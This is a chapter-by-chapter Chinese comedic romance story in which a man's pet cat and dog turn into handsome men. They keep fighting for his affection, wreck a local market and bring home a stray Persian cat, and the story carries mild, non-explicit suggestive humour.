《陈先生的猫狗猪》
1. 变成人了
陈先生有一只金渐层英长小奶猫,还有一只灰色的阿拉斯加小奶狗,一猫一狗从出生起就被他带回家养了大半年,如今猫咪长得漂亮精致,狗也英姿飒爽,年纪轻轻的陈开心也算是个猫狗双全的人生赢家了。
可没想到某一天他在上班的时候接到消防员的电话,询问他的姓名,问他是不是养了一只猫和一只狗,说是有寺庙的工作人员投诉给他们,让他们来抓猫狗,有猫狗在寺庙门口骗吃骗喝,还不让陌生人接近。
他们过去一看,那猫狗的项圈上写的联系人就是“陈开心”。
陈开心困惑不已,调开自家监控一看,果然屋门大敞着,徒留一地被撕碎的面纸七零八落地躺在客厅的地上,无声地在嘲笑着他。
想起自己小猫会跳起来开门的技能,陈开心眼前一发黑,顿时心梗,显而易见是他家聪明的小猫带着他家笨笨的小狗离家出走了……
陈开心不得不临时请假去消防员提供的地址捉他的猫和狗。
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陈开心马不停蹄地赶到寺庙,找到他家猫的时候,小猫汉堡正埋着脑袋在寺庙门口破旧的碗里大快朵颐,他两只前爪还扒着碗口,恨不得将自己的头整个栽进去。
小狗可乐则眼巴巴地趴在小猫旁边,不允许其他人靠近小猫,一旦有人往这里走两步,他就龇着牙恶狠狠地盯着那人,嘴里发出警告的呜咽声,还伴随着他已经流了一地的哈喇子……
快成年的阿拉斯加体型健硕,坚实有力,目测快到七十斤的体重,一般人精神没有问题是不会去招惹的。
可即使可乐这么强壮了,他还是不敢去从汉堡嘴里抢东西吃,哪怕他馋的口水像是瀑布一泻千里。
根据以往的革命经验总结,他的狗头一旦凑过去,下一秒就立马会有一只厚实的猫爪子甩在他的狗脸上。
汉堡虽然是只美丽优雅,毛发精致的小猫咪,但他动不动就跟小炮仗一样挥着爪子炸遍四方。
美人嘛,脾气大多暴躁。这是可乐在经历过无数次被汉堡暴揍后,主人无数次拿来安慰他的话。
推开围观的群众,陈开心看到的就是这样一副“其乐融融”的画面,他一边后怕地抚着胸口,庆幸着自己的猫狗还好没丢,又一边不自觉地捂着脸替他们觉得丢人。
哪有在人家寺庙门口大口大口吃肉的?!造孽啊!
可小猫小狗才不管这些呢!
汉堡自己吃饱了,便挪了一个身位给可乐吃他的剩饭,胖嘟嘟的身躯往墙脚一倒,他酒足饭饱,开始四脚朝天地翻着肚皮晒太阳。
见陈开心走近,他也只是懒懒地撩开眼皮施舍给他一个“终于来了”的眼神,然后毫不在乎地舔了舔自己的爪子,闭上眼换了个姿势继续晒自己美丽的毛。
反正有傻狗当他的保镖,他也不怕有奇怪的人来捉他。
可乐好不容易蹭到了肉食,嗅了嗅,还没等他大吃特吃呢,他就在香喷喷的肉罐头味道中闻到了一股熟悉的气味。
他回头一看,果然是主人来了。
“汪汪!”
胖成阿拉斯加猪的可乐飞奔而来,围着陈开心兴奋地乱跳乱蹦,还张着两条前腿扑他,直把陈开心扑地往后踉跄了一步,差点儿当众出糗。
可乐洗了他一脸口水,又屁颠屁颠地从他身上跳下来跑到碗旁边,棕色眼睛里闪烁着亮晶晶的光芒,硕大的狗头傲娇地一昂,似乎在求陈开心的表扬。
“汪汪汪!”=【看,这是我猎到的食物!】
“喵~”=【嘁,傻狗!】
汉堡从内心无比鄙夷他这种狗腿子的行为,懒洋洋地“喵喵”叫了两声提醒陈开心自己的存在。
可陈开心被消防员拉着在说话,完全没空搭理他,汉堡尖尖的耳朵在空气中抖了两抖,爪子捂着眼睛当了两秒鸵鸟后,他还是认怂地站起身,走到陈开心身边蹭起了他的裤腿。
“喵喵喵喵喵喵!”
=【铲屎的,还不快带我回家!没看到有这么多人吗?!我们小猫猫可是最讨厌陌生生物的!绝对不是我害怕,是我怕那只傻狗害怕!】
陈开心蹲下身一把捞起猫,安抚地摸着他的后颈,听着消防员苦不堪言地给他吐槽。
“这一猫一狗往人寺庙门口一躺,这不是断人香火吗?大家都围在这里逗猫逗狗了,谁还有心思进去上香,钱都买了肉罐头进他们肚子里了!”
陈开心无奈地叹了口气,连声道谢
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后抱着装死的猫咪,牵着蹦蹦跳跳的狗在众人看戏的目光中,灰溜溜地走了。
等躲到车上,其他人好奇的视线被隔绝在了车窗外,他冷着脸撸起了袖子,对着一猫一狗准备算账。
他佯装生气地锤了一下可乐的脑袋,指着他恨铁不成钢:“汉堡让你做什么就做什么吗?怎么没见你这么听我话?!”
可乐缩着头,蜷着尾巴,卧倒在后座上不敢反抗,只睁着可怜巴巴的大眼睛看他,委屈地呜咽着。
训完那只傻狗,陈开心收回手惩罚性地用力捏了捏汉堡的肉屁股,却惹怀里的小猫炸了毛,发出一声颤抖的猫叫,爪子一亮,在陈开心手背上划下了一个白色的抓痕。
“喵喵!”=【愚蠢的人类,谁让你碰我的屁股的?!】
自己犯错了还敢抓他?
陈开心气得发抖。造孽啊,当真是造孽啊,在寺庙门口挡人香火,恬不知耻地沾了荤腥,也不知道佛祖会不会怪罪于他?
阿弥陀佛,善哉善哉,这都是那蠢猫傻狗做的,和他无关。
谁曾想,陈开心随口感叹的一句造孽啊,第二天果真报应在了他的身上……呃,他的小猫小狗身上……
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第二天早上,陈开心耳侧的枕头上多出了一个没有穿衣服的男人,脚边的床头同样躺着一个赤.条条的男人。
他们一个唤自己“铲屎的”,一个唤自己“主人”,一个拉着被子头,一个拉着被子尾,不顾陈开心惊恐的叫喊声,齐齐钻进了陈开心的被子里。
望着拱起的被窝在不断蛄蛹着,习惯裸.睡的陈开心抱着被子躲在角落里瑟瑟发抖。
变成男人的小猫习惯性地趴在他胸口伸着两只爪子踩奶,修剪干净的指甲刮过陈开心的肌肤,引起他浑身一战栗,满脸通红,眼神逐渐迷离。
变成男人的小狗习惯性地伸出舌头舔他的脸颊,主人的滋味比他想象的还要美味,可乐兴奋地舔着,最后慢慢转移到了陈开心又软又甜的唇.瓣。
护的了上面,护不了下面,上头下头纷纷失守,陈开心被他们压得喘不过气来,两眼一抹黑,索性昏死过去。
果然造了孽,报应来了……
2. 约法三章
陈先生的小猫和小狗都变成了人,还是两个身形修长,个头比他还高的俊美男人。
陈先生觉得很不可思议,他家阿拉斯加胸肌健硕,平时吃的也不少,每次炫完一整碗狗粮还流着口水扑他,想要多蹭一点小零食,所以他变成了高大的男人,陈开心勉强还能接受,毕竟体格基础在这儿了,可是汉堡这只小猫咪凭什么……
变成男人后的汉堡此时横躺在沙发上,以往他只要一方抱枕的位置就能睡得舒坦,现在一条沙发都不够他躺下的,整个人缩手缩脚,睡得贼不舒服。
他一不舒服就要去招惹那只傻狗,傻狗抱着膝盖傻呵呵地望着陈开心笑,还不知道自己即将面临什么。
汉堡眉毛一挑,抬脚踹向了坐在自己脚边的可乐,见可乐磨磨蹭蹭地不肯让位置,他索性将双脚翘到了可乐的身上。
宛如贵妇的汉堡伸着五指在沙发腿上磨指甲,听见陈开心嘀嘀咕咕的声音,斜睨了他一眼,大发慈悲地解释给他听。
“和这傻狗比起来我体型是小,可在英长里我可是壮汉,哪有人像你一样把阿拉斯加养成了猪,把我们可爱的猫咪养成了狗的。”
说完,他话音一转,扑腾着脚,催促可乐也别闲着,快给他按摩腿。
可乐真的服了啊!
汉堡是只小猫咪时,主人就拎着他的耳朵告诫他要让着小猫,不能欺负小猫,从而导致汉堡一直站在他头上作威作福。
现在两人大小不相上下,他为什么还要像伺候主子一样伺候他啊?!这个家只能有一个主子,那就是他可乐的主人!!那个叫陈开心的男人!!!
连日的被压迫已经造就了可乐的奴性,他心不甘情不愿地按摩着汉堡的小腿,扁着嘴委屈巴巴地看向了陈开心。
“主人~”
小狗委屈,但是小狗不敢说。
陈开心装作没有看见他哀怨的眼神,弯腰拍掉了汉堡在磨沙发的爪子,费力地从沙发上拉他坐起来:“咳,那啥,既然你们现在不是猫猫狗狗了,那有几件事我得提前和你们约法三章。”
可没几秒,被拉起来的汉堡软着身体又倒了下去,猫咪天生有一股没骨头的松散,在沙发上瘫成了一摊猫饼。
自己要说正事了,他怎么还这副德行?陈开心摇摇头,受不了地又拉起他,可乐也在旁边帮他扶着汉堡。
可过了一会儿,汉堡又没了骨头。
再拉,再躺。
又拉,又躺。
拉,躺......
循环往复,陈开心被折腾出了一身汗,最后一人一狗反倒被累得气喘吁吁,汉堡仍旧优雅地翘着二郎腿在贵妃躺。
算了,陈开心放弃了,由他去吧,小猫咪开心就好。
他一屁股坐到猫狗之间的位置,主人的身体就在自己旁边,只见猫猫狗狗的眼睛蓦地一亮,一左一右眼疾手快地扒拉开他的胳膊将自己埋了进去。
可乐还好,陈开心以前就抱不动他,每次都是抱住他的脑袋,让他枕在自己大腿上替他顺毛。
因此变成人后的可乐依旧习惯性地把头枕在他的大腿上,脸对着陈开心的腹部,心满意足地抓起他的手放在自己的头上,让他呼噜呼噜毛。
但是汉堡这只对自己体型没有深刻认知的猫咪,他这么大一个男人,长手长脚的,是没办法蜷到相同体型的另外一个男人的怀里的啊!
汉堡揪着陈开心胸前的衣襟,嘴里焦急地喵喵叫着,试图把自己变成小小的一团,塞到陈开心的怀抱里。
可可乐的狗头正在陈开心的腿上趴着呢,汉堡嫌碍事,干脆一脚蹬上去,屁股坐在狗头上,像个树袋熊一样面对面抱住了陈开心。
柔软的屁股在自己脸上乱蹭,可乐被他压制地无法呼吸,仿佛变成砧板上的鱼垂死挣扎起来。
也不知道是没感觉到可乐在自己屁股底下,还是故意整可乐,汉堡死死抱着陈开心就是不放手,头顶还在他颈间蹭了蹭。
“汪汪汪!”
“喵喵喵!”
一个挣扎着要出来,一个死不挪开屁股,猫狗大战一触即发。
片刻后,率先举起白旗的却是陈开心,原因无他,而是他感觉自己在猫狗相争下,背着气快过去了。
这两个人怕不是对自己的吨位有什么误解?他们在自己腿上闹来闹去的,陈开心翻着白眼,感觉自己快被他们压死了,更别提可乐头磨蹭的地方,汉堡屁股碾压的地方,是在他隐私部位。
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>清晰的痛楚和隐秘的快感齐飞,陈开心再不手举白旗投降,他下面就该“举旗”了。
他一把掀翻这两人,从他们身下狼狈地钻出来,倚在茶几上抚着胸口大口大口地喘息着,指着他们的鼻子训诫道:“从现在开始,约法三章第一条,你们不允许再打架!”
主人下达命令,猫狗爱听不听。
龇牙咧嘴的可乐一秒收回了自己的大白牙,无精打采地耷拉下了耳朵。
好吧,主人说什么就是什么,他会乖乖的,再也不和这个臭猫打架了。
炸了毛的汉堡嘴角扬起不屑的笑,慢条斯理地舔了舔自己的爪子。
呵,区区一个给我铲屎的还妄想我听你的话,明面上不让我揍这傻狗,那我就偷偷地揍!哼!
他意味深长地和可乐对视一眼,傲娇地别开头。
猫狗消停了下来,陈开心见这招有效果,继续乘胜追击:“约法三章第二条,你们要知道你们现在不是我的小猫小狗了,而是两个对我来说熟悉又陌生的男人!所以你们晚上一起睡在客卧,不允许再爬我的床!”
“主人,不要……”可乐亮晶晶的眼眸顿时暗淡无光,讨好地去拉陈开心的手。
汉堡也一副天打五雷轰的表情,不可置信地望着他。
陈开心也痛心啊,他和自己的小猫小狗睡惯了,早上要是没有小猫在他胸口“蹦迪”,没有小狗口水洗他脸唤醒他,他还真不习惯。
可是他的小猫小狗现在是两个大男人!还是两个比他高,比他壮的男人!要是再和他们睡下去,等到了他们发.情期,自己岂不是遭了殃?
为了自己屁股着想,陈开心只能挥一挥衣袖,忍痛割爱!
可他万万没想到,是夜,天天打架的一猫一狗趁他睡着后,头靠头钻在被窝里鬼鬼祟祟地商讨了一系列计划,学着电视剧里演的那样,在白纸黑字上印了自己的爪子印,达成了临时联盟。
由听觉灵敏的小狗蹲在卧室门口,听着里面的动静放风,小猫咪凭借自己多年掏抽屉的经验,找到了卧室的备用钥匙。
合作很顺利,两人嘿嘿一笑,手拉手垫着脚尖,蹑手蹑脚地潜进了陈先生的卧室……
亲爱滴主人,我们来啦~
3. 猫飞狗跳
后悔,很后悔,当事人表示极其后悔……
当陈开心早上被一种熟悉的窒息感给闷醒时,他家的小猫正摊开着身子,双腿以一种奇怪的姿势将他的上半身缠住。
以前汉堡总喜欢趴在他脑袋上方的枕头上睡觉,偶尔睡得舒服了,还会在他的发顶不自觉地踩.奶。可如今他变成人了,身形也变大了,这睡觉习惯却没变,整个人横在陈开心头顶,修长白.嫩的大长腿架在了他的脖子上。
陈开心无语地看着眼前这平坦白皙的小腹,上面整整齐齐排布着八个方块……可恶,为什么他会有八块腹肌?
汉堡早就醒了,猫咪本就醒的早,一醒就开始闹他主人,他收回在陈开心肩膀上踩.奶的脚趾,睁着圆溜溜的大眼睛和陈开心对视上,晶莹透亮的猫眼凑近一点好奇地看他,瞳孔倏地放大。
清晨的阳光从窗帘的缝隙里溜进来,忽明忽暗地照射在陈开心的脸上,他翻了个身,睡眼惺忪地嘤咛了两句,将脑袋埋在猫咪身上里,正在努力挣扎着从睡梦中醒来。
可猫咪对动来动去的光影是毫无抵抗力的呀。
汉堡缓缓坐起身,双手抠住掌心里的床单,脊背拱成了桥状,头随着光影的晃动而不停来回转动着,等时机成熟,光影打在陈开心的侧脸上不再移动时,他敏捷地飞身一扑……
“啊啊啊啊!”一个圆润软嫩的大屁股从天而降,把陈开心砸的眼冒金星,彻底没了睡意。
乖乖趴在床尾睡觉的可乐耳朵动了动,听到主人惊恐万分的尖叫,条件反射地从床上跳了起来,嘴里发出警告的狂吠,立即开启一级戒备模式。
“汪汪汪!”
哦错了,他现在是人。
“谁谁谁?!”他在陈开心盖着被子的身上来回蹦哒着,脚底仿佛没了知觉,丝毫没意识到主人在自己脚下快被他踩断了气。
祖宗,都他妈是祖宗啊!
陈开心整个人蜷缩成小小的一团,捂着脑袋趴在床上缓了一会儿,待眩晕过去后弱弱举起了手:“爸爸们,我错了,你们要是喜欢这床,我今晚滚去侧卧睡好吧?”
喜欢的是床吗?明明喜欢的是人!
汉堡自知闯了祸,可也不能怪他啊,猫咪有强烈的好奇心和捕猎天性,对一切能够移动的物体都自然而然地想要去捕捉,这是他无法抗拒的生理本能。
他一脸懵懂,反而先委屈上了,敞开肚皮软倒在陈开心手边,讨好地蹭他的脸,伸出舌.头舔他,拉着他的手,想要陈开心摸摸自己。
猫咪翻肚皮是对主人表示信任,也有求关注,撒娇,道歉等意思,如果陈开心没猜错,汉堡这是大发慈悲地“赏赐”肚皮给自己摸,企图用这种方式让自己原谅他。
要是汉堡还是一只小猫咪,陈开心肯定流着口水,脸扎进他肚皮软乎乎的毛里吸了又吸,能够爱不释手地撸.光他的毛。
可问题是,汉堡现在是个一米八几的大男人啊!一个男人四脚朝天地对着自己翻肚皮,还耳.根发红地舔他的指.尖,这个画面是怎么看怎么奇怪好吧?!
不过别说,汉堡真的好帅,这颜值,这身材,还有八块腹肌,不摸陈开心都感觉自己吃亏了。偷偷摸一把也不算吃他豆腐吧,自己养大的猫咪,想怎么摸就怎么摸,撸猫的事怎么能叫吃豆腐呢?
“咳。”陈开心心虚地清清嗓子,骨节分明的手指顺着汉堡的头顶,从头到尾沿着他的脖子一路摸到了他的腹.肌,摸得汉堡舒服地眯起了眼。
啧,手感真不错,赶在汉堡小脸通红,呼吸急促地捉住他的手想让他继续往下时,陈开心眼疾手快地收回了手。
见好就收,见好就收哈,他还没那么流.氓。
一抬眼,睡在陈开心脚边的可乐正眼巴巴地盯着他,神情落寞又孤独,嘴巴撅的老高。如果可乐还是一只狗,此刻耳朵肯定无精打采地耷拉下来了。
陈开心无奈地对他招招手:“
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来吧。”
随即又是一记泰山压顶,迎面扑来的巨大冲击力将毫无防备的陈开心压在了床上,他一手抱住身上的男人,被吓的失声惊呼,险些岔了气。
小狗伸着舌.头,两手扒着陈开心的肩膀,兴奋地想去口水洗他的脸,要是小狗屁.股后面还有一条尾巴,绝对能把他摇上了天。
陈开心哀嚎着踹了一脚可乐,想要将他从自己身上掀翻下去:“你们一个个的,心里能不能对你们现在这吨位有点逼.数?”
没有呐,猫猫狗狗从来都不会知道自己有多大,他们天天和主人生活在一起,没有自我意识,主人就是他们的成长参照物。
主人身形有多大,那我肯定也是多大啦。我飞身扑向主人,主人肯定会接住我啦。主人是绝对不会被我砸死的,主人会打猎,会铲屎,会带我飞高高,会亲我吻我,会抚摸我,他们就是拯救世界的超人呐。
对于猫猫狗狗来说,其实主人就是他们的世界。
陈开心大力揉.揉他家狗子的头,眼见着可乐按耐不住爪子,跨坐在他身上,脑袋直往他怀里拱,完全霸占住了他,神情期待,嘴里呜咽着也要陈开心摸他的肚皮时,陈开心头都大了。
他余光瞥见身边的汉堡脸色慢慢阴沉下去,手撑着床慢慢坐起了身,眸中亮起来一道足以灼烧掉陈开心的镭射激光,仿佛快要将陈开心烧的体无完肤,尸骨无存。
等汉堡优雅地伸出爪子舔了舔,陈开心瞳孔震颤,心中“咯噔”了一下,不好!
如果不出意外,那就是马上要出意外了。
毫无意外,一人一猫一狗……
不对,是两个一米八几的大男人,又在为陈开心怀里的位置大打出手,旁边还有一个抱着头瑟瑟发抖地往被子里钻,努力当缩头乌龟的当事人。
别误会,他们是真的在打架,陈开心也是真的很害怕。
神啊,救救他吧,这猫飞狗跳的日子没法过了。
4. 被迫社死
小猫咪,小狗狗什么烦恼都没有,哪里像陈开心这个社畜被一猫一狗折腾了一早上,还要挣扎着起床去上班。
约法三章时效仅维持了一天,陈开心为了创造美好的家庭生活环境,防止他们趁自己不在家的时候拆家,不得不采取美食诱惑计划。
猫咪和小狗依依不舍地送他到玄关口,拉着他的袖子不肯让他离开,虽说主人出门是去打猎的,但是他打完猎再回来天都黑了,汉堡和可乐真的很伤心,他们会想主人的。
汉堡一想到要自己一个人在家里面对那只傻狗,他就嫌弃不已。可乐也不愿意这一整天都活在那炸毛猫的淫威之下,仿佛身上绑了个不定时炸弹。
陈开心轮流拍了拍他们的脑袋,柔声安抚道:“你们乖乖在家里别出去,我下班给你们带好吃的,你们想吃什么?”
“鱼!”汉堡的眼睛唰的亮了。
“肉!”可乐嘶哈嘶哈流着哈喇子。
猫咪想吃的鱼,是那种刚从水里捞出来的活蹦乱跳的鱼,最好能等他玩腻了后,可以一爪子毫不费力地拍晕。
小狗想吃的肉,是那种骨血相融,没有经过高温煮熟剁烂的一大坨猪肉,最好是连筋带骨,一口咬上去,能听到猪骨嘎嘣嘎嘣的声音。
呵,真敢说。陈开心觉得自己真是多余问他们。
他对着小猫小狗摇摇食指,一本正经地拒绝:“达咩哦,你们只能吃猫粮狗粮,肉冻干这类的食物哦,生肉想都别想。”
小猫小狗吃生肉,会很容易得病菌拉肚子的,要是吃上了瘾,以后就更不爱吃猫粮狗粮了。
嗯……不过汉堡和可乐现在是人诶……
陈开心想了想,还是不放心:“等我下班去菜市场买菜,做饭给你们吃吧。”
他做饭?汉堡和可乐瞬间泄了气,毫无灵魂地趴在地上,摊成了一张猫饼和狗饼。
如果我有罪,请让老天爷下肉冻干雨砸死我,而不是让我吃主人做的饭。
汉堡生气地用屁股对着陈开心,再一回头陈开心已经关上了门。
小猫咪咬着手指,委屈地喵喵叫,这个男人竟如此心狠,抛下了家里的小猫小狗,一个人去外面潇洒快活。
咪恨!
十分钟后,汉堡一骨碌爬起来,跑到阳台上亲眼确认陈开心的汽车开出了小区大门,他兴奋地将拖鞋一甩,开始撅着屁股,一个个扒抽屉。
可乐懒洋洋地窝在沙发上,掀开眼皮看他,这笨猫怎么一天到晚的就喜欢往狭小的空间里钻,真是闲的没事干。
他嗅了嗅鼻子,捞过陈开心的外套将脑袋埋了进去,眼不见为净。
唉,主人走的第一分钟,想他。
“找到啦!”汉堡扑到可乐身上给他炫耀自己的成果,“快看,我们可以吃好吃的啦!”
钥匙静静地躺在汉堡的手心里,在阳光下散发着诱人的银色光芒,可乐无语地两眼一翻:“我可不吃钥匙。”
……说他傻还真傻。
汉堡神秘一笑,凑近可乐和他咬耳朵:“有钥匙我们就可以偷偷溜出去,然后再偷偷溜回来,如此如此……这样这样……”
信息量太大,狗脑子要炸了。
可乐举起狗爪子拍上汉堡的手,决定暂时先将彼此的恩怨读档保存,不管怎样,跟着汉堡混有肉吃!
临走前,汉堡还不忘让可乐肩扛着他,把陈开心的外套盖在了摄像头上面。
简直太聪明了,汉堡决定等会儿多奖励自己一条小鱼!
到了小区楼下,可乐不管不顾地往草丛里扎,然后被汉堡揪住后脖颈一把给扯了回来。
“傻狗!你现在是人,不能撒尿标记!”汉堡拎着可乐的耳朵,义正言辞地呵斥他。
可乐脸色一红,难为情地抓了抓头发。
嘿嘿,忘了,主人说过人是要注意形象的。人要穿衣服,不能裸奔;要去厕所排尿排便,不能在
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猫砂盆,也不能在草丛上拉屎,更不能抬着一只后脚,撒尿随时标记地点。
以前有主人跟在后面捡屎,现在只能自力更生了。而他们自力更生第一步,就是进军菜市场!
陈开心遛狗的时候会顺路去隔壁菜市场买菜,一来二去标记多了,可乐就记住了路线,更是对菜市场里那猪贩子圈着养的几头小乳猪念念不忘。
现在如此大好良机,可乐不去“看望看望”他的猪兄弟,岂不是没心没肺?
于是一猫一狗手牵着手,非常和谐友好地奔向了邻里菜市场。
中午休息时间,陈开心打开家里的监控想看看汉堡和可乐的情况,却发现屏幕上一片黑。他关闭软件重新启动,依旧黑黢黢的,通过监控喊汉堡和可乐的名字也没人应答。
陈开心觉得奇怪,嘀咕着是不是摄像头坏了。他退出正准备再尝试一下的时候,社区群里接二连三跳出了很多消息。
陈开心顺手点开一看,小区居委会发了一连串的照片。
【居委会:紧急通知!!!有两位男子正在大闹邻里菜市场,怀疑是精神失常的病人,现已被围观群众控制住。他们一个趴在海鲜鱼缸上抓鱼,抓一个扔一个。一个撞坏了人家的猪圈,把人家小猪追的嗷嗷叫。大家看看是不是自己家里的亲人,赶紧快过去领回家!】
陈开心越看那照片上模糊的身影越熟悉,心底隐隐有种不安的感觉,他两指按住照片一放大,看清上面的人后,想死的心都有了。
妈的,这不是他家那两个大冤种吗?!
陈先生上班后的第四个小时,他涨红着脸急匆匆地请了假,老板看他脸红的异常,还好心劝他赶紧去医院看看。
是要去医院,陈开心迫切地想去医院搞把手术刀,把自己一刀嘎了。
拜他的小猫小狗所赐,在寺庙社死之后,陈先生再一次经历了菜市场社死,他的一世英名毁于一旦,从此在小区大妈群里出了名。
5. 捡到小猫
陈开心开车去把他的小猫小狗接回家,他觍着脸给菜市场的大爷大妈们不停地鞠躬道歉,举起手指发誓会看好这两个“精神病人”,再也不让他们出来捣乱了,才避免了汉堡和可乐被扭送进派出所的惨烈下场。
被小猫捉出来的鱼死气沉沉地漂浮在水面上,陈开心掏出钱买了,为了给汉堡一个教训,他咬咬牙将鱼留在了鱼摊上,抱着一只猪笼子,领着恋恋不舍的汉堡和可乐走出了菜市场。
“为什么呀?”汉堡一脸失落,耷拉着耳朵往后拽陈开心牵他的手,一步三回头,“鱼鱼在说它也想跟我们走。”
“是它想跟我们走,还是你想吃它们啊?”陈开心一把摁下怀里乱拱的猪头,没好气地掐着汉堡的下巴转回他的脸,“你都把它们玩死了,还能听到它们说话吗?!”
可恶,为什么汉堡比他还高?教训他还得仰着头,一点气势都没有。
陈开心踮起脚尖给了他一个爆栗。
汉堡呜呜了两声,揉着被敲的地方,有些委屈地指着笼子里的猪:“那为什么这头猪能跟我们走?”
“猪是自愿的!”可乐蹦蹦跳跳地跑远了,又跑回来找他主人,正好听见汉堡在控诉自己,大声地反驳,“猪猪说他喜欢被我追逐的感觉,像是拥有了随风奔跑的自由。”
强词夺理,陈开心还真不相信他能听懂猪说的话。
他把猪笼子放在后备箱,然后坐到驾驶座上发动汽车,一回头,汉堡和可乐又再为谁坐在副驾驶座上而打起来了。
这一天天的,陈开心不明白为什么这两个人……呃,这一猫一狗总是干架,按理说他们从小一起长大,感情应该更好一点。
虽然事实上他们确实很依赖彼此,可每次涉及到了自己,他们这份依赖又变得岌岌可危,一旦谁和自己亲密一点,另外一个人的醋坛子就会打翻,恨不得把对方按在地上摩擦。
真像极了养了双胞胎的家庭,一碗水要是端不平,陈开心索性就破罐子破摔,直接不端了。
汉堡和可乐都被他赶到了后座上,陈开心放下手刹正准备开车,突然汉堡惊呼出声,按下了车窗左顾右盼:“等等!有小猫在叫!”
陈开心下车前后检查了一遍,地下停车场没有开灯,昏暗无光影响视线,他并没有看到猫咪的身影,他弯下腰打开后座的车门,怀疑地问汉堡:“你听错了吧?”
“笨。”汉堡嫌弃地推开他,一个俯身直接趴到了地上,车底黑黢黢一片,但猫咪是昼伏夜出的动物,夜视能力极好,并不妨碍他看清车底的情况。
他望向车底的眼睛亮晶晶的,惊喜地指给陈开心看:“是只绿眼睛的波斯!”
陈开心好像也听到了微弱又短促的猫叫声,他跟着汉堡蹲下身看向车底,果然从缝隙中看到一只有着清澈的绿眼睛,浑身却脏兮兮的猫。
小猫咪缩着爪子躲在车底取暖,小小的一只,垂着脑袋可怜兮兮地叫唤着。
“它说它饿了!”汉堡一个箭步起身,钻到车里抢走了可乐手上的冻干,还顺便把他嘴里的抠出来塞到了自己的嘴里。
变故发生的太快,可乐傻愣愣地盯着他“吧唧吧唧”了两下嘴,将冻干咽进了肚子里。
“我的冻干!”可乐一声嘶吼从车内破空而来,惊得车外的陈开心打了个哆嗦。
汉堡用屁股顶着车门不让暴走的可乐出来,将冻干丢在了地上,呼唤着波斯。
“喵喵喵喵喵!”=绿眼睛,快出来吃好吃的!
车底的波斯小声地回应:“喵喵喵。”=有人类在。
人类?汉堡疑惑地看陈开心,见他一头雾水和自己对视,脸上是和那傻狗一模一样傻不愣登的表情,不由得乐了。
“喵喵喵喵喵喵!”=那个人类其实是只猫啦,你看我也是猫,但是我穿了人类的皮!
波斯小心翼翼地从车底钻出一颗小脑袋,好奇地打量了汉堡一眼:“喵喵喵?”=“你是猫?”
“不然呢?”汉堡把冻干往它嘴巴放了放,“快吃吧,否则等会儿就有傻狗来和你抢了。”
话音刚落,可乐从另一侧车门气势汹汹地冲下来:“强盗汉堡!你这只超级无敌巨无霸不可爱的强盗小猫!哎?这哪儿来的猫咪,好可爱啊!它眼睛是绿色的诶~”
可乐笑得花枝乱颤,搓着手想要摸摸波斯的头,却惊得它往后又退回了车底。
“傻狗!”汉堡一个爆栗敲在了可乐的头顶,“你吓到它了啦。”
说话能不这么机车吗?可好像大家看到可爱漂亮的小猫,舌头都会变大了啦。
“我怎么吓到它了啦?”可乐轻轻摇晃着脑袋,又屁颠
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屁颠地跑到车上,将车内他藏的零食都翻了出来,一骨碌倒在了波斯的面前。
漫天的冻干条纷纷扬扬的像是下了一场雨,长的短的,啃了的,没啃过的,看得陈开心一头黑线,哭笑不得。怪不得他开车的时候,这只狗总是猫在后座不出声,感情是在偷偷摸摸地吃零食。
“小猫咪~来吃啊~”可乐手伸到车底去扯波斯的尾巴,结果被汉堡一脚踹开了。
呜呜呜,被踢了,好难过。可乐一个转身埋进了陈开心的胸前求抚摸,求安慰。
陈开心揉了揉可乐委屈巴巴的脸,拉着他站远了点。
汉堡不得不再次诱哄波斯。
“喵喵喵喵喵。”=“现在就我们两只猫了,你快出来吃东西吧。”
波斯余光瞥着可乐的位置,慢吞吞地从车底爬出来,左嗅嗅右闻闻,迟疑好一会儿,询问地看汉堡,见他点头后,才放心地张嘴开始吃。
吃饱后,波斯用脑袋蹭着汉堡的裤腿,被他一把抱在了怀里,手指插进它厚重柔软的毛发,感叹道:“真漂亮,你这么漂亮,肯定是只小母猫吧?”
波斯骄傲地舔了舔爪子,炫耀式地翻着肚皮给他看:“喵喵喵喵喵!”=“我是没有被噶蛋的公猫!”
哎呀,无所谓公的母的,只要是漂亮小猫,那就是他汉堡的好朋友!汉堡邀请他新交的好朋友去家里一起玩耍。
但是到了晚上,汉堡就后悔了。呸!什么好朋友?这分明就是来和他抢铲屎官的臭猫!
他躺在床上,恨恨地望着浴室的方向,指甲死死地掐进了可乐的大腿肉里。
可乐五官都疼得扭曲变形,用力拍他的手:“痛痛痛,快松开!”
“你再痛,有本喵的心痛吗?!”汉堡哇的一声,哭得眼泪鼻涕都出来了,“主人凭什么帮那只臭猫洗澡啊?哼哼哼……”
呵,没进家门前叫人家漂亮小猫,领进家门后叫人家臭猫,汉堡这醋缸子的酸味浓的可乐心里也都开始冒酸水了。
对呀,凭什么那只臭猫能让主人亲手帮它洗澡啊?我陈可乐不服!
于是一猫一狗头靠着头又开始商量对策,决定暂时休战,先齐心协力地将那只绿眼睛的臭猫赶出家门!
赶猫计划第一步,他们在客厅里翻箱倒柜,找起了浴室的备用钥匙。
6. 打一发吧
陈开心撸着袖子在给洗完澡的波斯猫烘干,吹着吹着,看着它圆碌碌的大眼睛好奇地转来转去,他实在忍不住,突然凑到波斯的脸上亲了一口。
它的毛暖烘烘的,有沐浴露清香的味道,闻上去很香,如果……如果没有身后那两人虎视眈眈的眼神就更好了……
可乐抬起手背擦了擦波斯被陈开心亲到的地方,然后斜着眼和汉堡对视了一眼,语气酸溜溜的:“我们也要你帮我们洗澡。”
他们变成人后,主人就给他们示范过一次如何用人类的坐便器,如何用淋浴头洗澡,如何用吹风机,虽然可乐这只阿拉斯加犬听的是云里雾里的,但是架不住汉堡这只小猫咪很聪明,一教就会。
现在想来,亏了,亏大发了,应该装作不会的样子,让主人亲自手把手帮他们洗澡的。
动物吹毛机的声音盖过了可乐的控诉,陈开心提高分贝凑近他的耳边喊道:“别闹,你们现在是人又不是小猫咪,我不能帮你们洗澡的。”
为什么人就不能帮人洗澡?人却能帮那只绿眼睛洗澡?
可乐幽怨地盯着波斯,直把它盯得浑身发毛,一个劲儿地往陈开心怀里缩,蹭了陈开心一嘴的猫毛,陈开心还轻声细语地笑着哄它乖。
“下去!”汉堡冷下了脸,手指着波斯的鼻子命令道,大有波斯继续赖在陈开心的身上,他就直接上手抓它后脖的架势。
可怜的小波斯不明白在回家前还温柔地对自己的汉堡,怎么突然间就翻了脸?它手足无措地盯着陈开心,那双绿眼睛亮晶晶的像是两块琉璃珠,干净又纯真。
